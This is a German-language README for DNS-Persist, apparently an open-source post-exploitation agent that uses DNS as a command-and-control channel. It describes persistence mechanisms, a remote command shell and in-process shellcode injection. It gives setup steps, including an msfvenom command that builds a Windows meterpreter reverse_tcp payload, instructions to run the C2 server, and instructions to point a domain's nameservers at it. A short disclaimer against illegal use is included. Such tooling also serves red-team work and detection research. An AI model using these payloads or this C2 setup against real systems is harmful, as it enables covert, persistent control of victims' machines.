
DNS-Persist ist ein Post-Exploitation-Agent, der DNS für Command and Control nutzt.
DNS-Persist ist ein Post-Exploitation-Agent, der DNS für Command and Control nutzt. Der serverseitige Code ist in Python geschrieben und der Agent ist in C++ kodiert. Dies ist die erste Version, weitere Funktionen und Verbesserungen werden in Zukunft folgen.
0x09AL - https://twitter.com/0x09al
VERWENDE DIESE SOFTWARE NICHT FÜR ILLEGALE ZWECKE.
DER AUTOR ÜBERNIMMT KEINERLEI VERANTWORTUNG FÜR JEGLICHEN MISSBRAUCH DES HIER BEREITGESTELLTEN CODES.
Es gibt viele großartige Arbeiten zu DNS C2, aber ich habe diese Software erstellt, um mich mehr auf den Persistenz-Teil zu konzentrieren. Ich bin kein C++-Experte und dies ist mein erstes „richtiges Programm" in C++ (also erwarte einigen Code, bei dem man sich fremdschämen könnte).
Vorschläge für Funktionen und Verbesserungen sind willkommen.
Es gibt zwei Hauptteile:

Diese Version hat nur 3 Persistenzmechanismen. Weitere werden später hinzugefügt.
Diese Version unterstützt eine pseudo-interaktive Befehlsshell, mit der du Systembefehle ausführen kannst.
Diese Version unterstützt die Injektion von 32-Bit-Shellcode. Der Shellcode wird in einem neuen Thread im selben Prozess ausgeführt, daher wird ein abstürzender oder ungültiger Shellcode auch den Agenten zum Absturz bringen. Vermeide NULL-Bytes im Shellcode.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
Standardmäßig wird ein DNS-Server auf Port 53 gestartet. Das kannst du in der Datei server.py ändern.
Ich habe Visual Studio 2010 verwendet, um den Agenten zu programmieren, daher sollte das Importieren und Kompilieren recht einfach sein.
Denke daran, die Variable DOMAIN_NAME in Declarations.h zu ändern, damit sie zu deinem Domainnamen passt.
Die DNS-Nameserver der Domain sollten auf die IP-Adresse von DNS-Persist zeigen.
#define DOMAIN_NAME "example.com"



